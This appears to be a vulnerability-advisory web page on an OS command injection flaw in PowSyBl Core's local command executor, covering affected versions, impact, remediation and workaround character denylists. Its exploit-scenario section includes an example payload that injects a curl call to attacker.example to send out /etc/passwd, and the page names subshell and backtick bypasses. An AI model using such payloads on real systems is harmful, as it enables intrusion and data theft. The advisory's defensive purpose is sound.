Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify network-exposed PowSyBl REST API or itools CLI endpoint
-
DeliveryAuthenticate with low-privilege credentials
-
ExploitSubmit crafted parameter containing shell metacharacters (e.g., semicolon, $(...), backtick)
-
ExecutionParameter reaches LocalCommandExecutor and is concatenated into bash -c or cmd /c string unsanitized
-
ImpactInjected command executes as JVM process user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions: first, a downstream application or service must embed com.powsybl:powsybl-computation-local version 7.2.1 or earlier; second, that application must pass externally-supplied data - such as contingency IDs, computation parameters, model file paths, or environment variable values - to one of the vulnerable public methods (UnixLocalCommandExecutor.execute(), WindowsLocalCommandExecutor.execute(), LocalComputationManager.execute(), ParallelLoadFlowActionSimulator.run(), ActionSimulatorTool.run(), AmplModelRunner.run(), or AmplModelRunner.runAsync()) without prior sanitization; and third, the attacker must have at least low-privilege access to invoke those APIs, consistent with the CVSS PR:L rating. The itools CLI introduces an additional path: the action-simulator command is vulnerable when the task-count option value is externally supplied, security-analysis is vulnerable when the external option is set, and dynamic-security-analysis is vulnerable in its current form. Direct use of the library with fully controlled, internally generated inputs is not exploitable. Exploitation is limited by the niche deployment footprint of PowSyBl in the European energy sector and the requirement for a vulnerable downstream integration layer. |
| Impact | The vendor-supplied CVSS 4.0 score of 7.1 (AV:N/AC:L/AT:N/PR:L/UI:N) reflects network reachability with low-privilege access and no special attack requirements, which is consistent with exploitation via a network-exposed embedding service. However, the provided impact metrics (VC:N/VI:L/VA:H) appear to understate the consequence of arbitrary shell command execution, which in practice yields full confidentiality, integrity, and availability impact on the host process and any files the JVM user can reach. EPSS data was not provided, so statistical exploitation probability cannot be assessed. The vulnerability is not listed in the CISA KEV catalog, and no public exploit code has been identified - the advisory's detailed bypass documentation, however, would substantially lower development effort for a functional exploit. Real-world priority is highly deployment-dependent: internal deployments with fully controlled inputs are not at risk, while multi-tenant or externally-exposed REST wrappers around powsybl-core represent a high-severity exposure. CVSS indicates network vector, consistent with the described downstream service attack surface, though direct local invocation via itools CLI is also a valid attack path for systems with local user access. |
| Exploit ScenarioDerived | An attacker with low-privilege access to a REST API wrapping a PowSyBl-based grid analysis platform submits a crafted contingency ID such as 'N-1_LINE_01; curl attacker.example/exfil?d=$(cat /etc/passwd)' as a computation parameter. The service passes this string unsanitized into ActionSimulatorTool.run() or LocalComputationManager.execute(), which concatenates it into a 'bash -c' invocation. The injected subshell command executes as the JVM process user, enabling data exfiltration, filesystem manipulation, or establishment of a reverse shell. No public exploit code has been identified, but the advisory's documentation of bypass techniques for the previously weak escaping provides sufficient detail to construct a working payload. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv2 – Aug 28, 2026
OS command injection in PowSyBl Core's AbstractLocalCommandExecutor implementations allows authenticated callers who forward untrusted data to the vulnerable public APIs to execute arbitrary shell commands as the JVM process user on both Unix and Windows hosts. Affected versions are com.powsybl:powsybl-computation-local up to and including 7.2.1; the flaw is a library-level sink, meaning any REST front-end, pypowsybl integration, or multi-tenant grid analysis platform embedding powsybl-core that passes external parameters to LocalComputationManager.execute(), ActionSimulatorTool.run(), or AmplModelRunner.run() inherits the vulnerability without modifying powsybl code. No active exploitation has been confirmed (not in CISA KEV) and no public exploit code has been identified, but the advisory documents multiple injection vectors with bypass paths for the previously weak escaping.
Earlier versions of this analysis (1)
OS command injection in PowSyBl Core's LocalCommandExecutor implementations allows arbitrary shell command execution as the JVM user on both Unix and Windows platforms. Versions of com.powsybl:powsybl-computation-local up to and including 7.2.1 construct shell command strings via unsanitized concatenation before passing them to bash -c or cmd /c, meaning any caller that forwards less-trusted data into the public List<String> APIs inherits arbitrary code execution capability. No public exploit or CISA KEV listing is identified at time of analysis, but the vulnerability affects multiple high-value entry points including itools CLI commands and REST/multi-tenant embedding services.
RemediationAI
Upgrade to com.powsybl:powsybl-computation-local:7.2.2 or higher, which is the vendor-confirmed fixed release available at https://github.com/powsybl/powsybl-core/releases/tag/v7.2.2. The patch replaces unsafe shell-string concatenation with properly structured escaping in both Unix and Windows executors. If an immediate upgrade is not feasible, apply input validation on all arguments before passing them to the vulnerable methods: on Unix/Linux, reject or strip the characters backslash, exclamation mark, hash, dollar sign, caret, ampersand, asterisk, parentheses, curly braces, pipe, square brackets, semicolon, double quote, comma, angle brackets, question mark, and space; on Windows, reject percent, exclamation mark, double quote, carriage return, and newline. This denylist workaround carries the trade-off that legitimate contingency IDs, file paths, or model parameters containing any of these characters will be rejected or silently corrupted, potentially breaking simulation workflows. For multi-tenant or externally-exposed services, consider restricting access to the itools action-simulator (when task-count is user-supplied), security-analysis (when the external option is set), and dynamic-security-analysis commands at the application authorization layer until patching is complete.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PowSyBl Core (com.powsybl:powsybl-computation-local, CPE pkg:maven/com.powsybl:powsybl-computation-local) is a Java power-system simulation framework used primarily in European energy grid analysis. The affected module wraps OS subprocess execution by building shell command strings through string concatenation and invoking them via 'bash -c' on Unix or 'cmd /c' on Windows. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the primary root cause: the API surface exposes public methods accepting List<String> arguments that callers reasonably interpret as discrete process arguments, but the implementation serializes them into a shell string. Prior escaping used double-quote wrapping, which was bypassable via $(...) subshell substitution, backtick expansion, and escaped-quote sequences on Unix, and via %VAR% and !VAR! expansion on Windows. A secondary CWE-88 (Argument Injection) concern exists because environment variable values passed to the executor are also included in the shell string without escaping. The patch in PR #3973 switches Unix escaping to single-quote wrapping with a singleQuoteEscape() helper that handles embedded single quotes via the ''\'' pattern, and introduces escapeCmdEnvValue() and escapeCmdArg() methods on Windows with explicit handling for percent, bang, double-quote, caret, and newline characters.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N
AV:N because the library is characteristically wrapped in a network service; PR:L because API callers require authenticated access; S:C and C/I/A:H because arbitrary shell execution as the JVM user crosses the application boundary to the underlying OS.
Primary rating from Vendor (https://github.com/powsybl/powsybl-core).
CVSS VectorVendor: https://github.com/powsybl/powsybl-core
Lifecycle Timeline
2DescriptionCVE.org
Impact
Description
Both AbstractLocalCommandExecutor OS-dependent implementations are subject to CWE-78 (OS Command Injection), with a secondary CWE-88 (Argument Injection) concern via environment variables.
The local command executor build command strings via concatenation and executes them (through bash -c for Unix, or cmd /c for Windows). Any string argument or environment variable value reaching this executor can break out of the intended command and execute arbitrary shell code as the JVM user.
The sink is reachable through public APIs that accept List<String> arguments without any documented indication that elements undergo shell interpretation.
Any caller - CLI, library integration, or embedding service - that forwards data from a less-trusted source into these APIs inherits the vulnerability.
Vulnerable elements
The vulnerable elements are:
- Public methods:
UnixLocalCommandExecutor.execute(...)WindowsLocalCommandExecutor.execute(...)LocalComputationManager.execute(...)ParallelLoadFlowActionSimulator.run(...)ActionSimulatorTool.run(...)AmplModelRunner.run(...)AmplModelRunner.runAsync(...)- itools commands:
action-simulator, when thetask-countoption is definedsecurity-analysis, when theexternaloption is defineddynamic-security-analysis
Characteristics
The vulnerability characteristics are the following:
- It allows arbitrary shell command execution as the JVM user (read, write, execute any file; spawn processes; exfiltrate data; etc.)
- There are multiple independent injection vectors within a single vulnerable call:
argselements (weakly escaped - bypassable via$(...), backticks, escaped quotes)- Environment variable values (unescaped - bypassable via
;,\n, or shell metacharacters) - It is silent from the caller's perspective: the
List<String>API gives no indication that shell interpretation occurs. - It exposes downstream projects: any service embedding
powsybl-core(REST front-ends, pypowsybl tooling, multi-tenant grid analysis platforms) that exposes contingency IDs or computation parameters to external input is exploitable without needing to touch powsybl's code directly.
Am I impacted?
You are vulnerable if you make direct calls to one of the vulnerable end-user methods or itools commands listed in the "Vulnerable elements" section, with user-provided parameters, without controlling them.
Patches
com.powsybl:powsybl-computation-local:7.2.2 and higher
Workarounds
If you cannot update your powsybl-computation-local version, you can check the content of the user-provided arguments when calling the vulnerable methods, by forbidding (if possible) the following characters:
- On Unix/Linux systems:
\,!,#,$,^,&,*,(,),{,},|,[,],\,;,\,",,,<,>,?,- On Windows:
%,!,",\n,\r,^
Technical POC Analysis
CWE-78 (OS Command Injection) with a secondary CWE-88 (Argument Injection) vector via environment variables.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
PowSyBl Core versions up to 7.2.1 contain an OS command injection vulnerability (CVE-2026-55673) affecting grid modeling and analysis applications that expose untrusted parameters to the library's compute APIs. Authenticated users can execute arbitrary shell commands as the JVM process, potentially compromising any REST interface or multi-tenant platform that embeds this library without modification.
Patch available per vendor advisory. During patching rollout, restrict network access to compute APIs to trusted internal networks only, enforce strict input validation on parameters passed to LocalComputationManager.execute(), ActionSimulatorTool.run(), and AmplModelRunner.run(), and enable audit logging of process execution for anomaly detection.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-67863
GHSA-jqvf-j3ww-r8c7
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB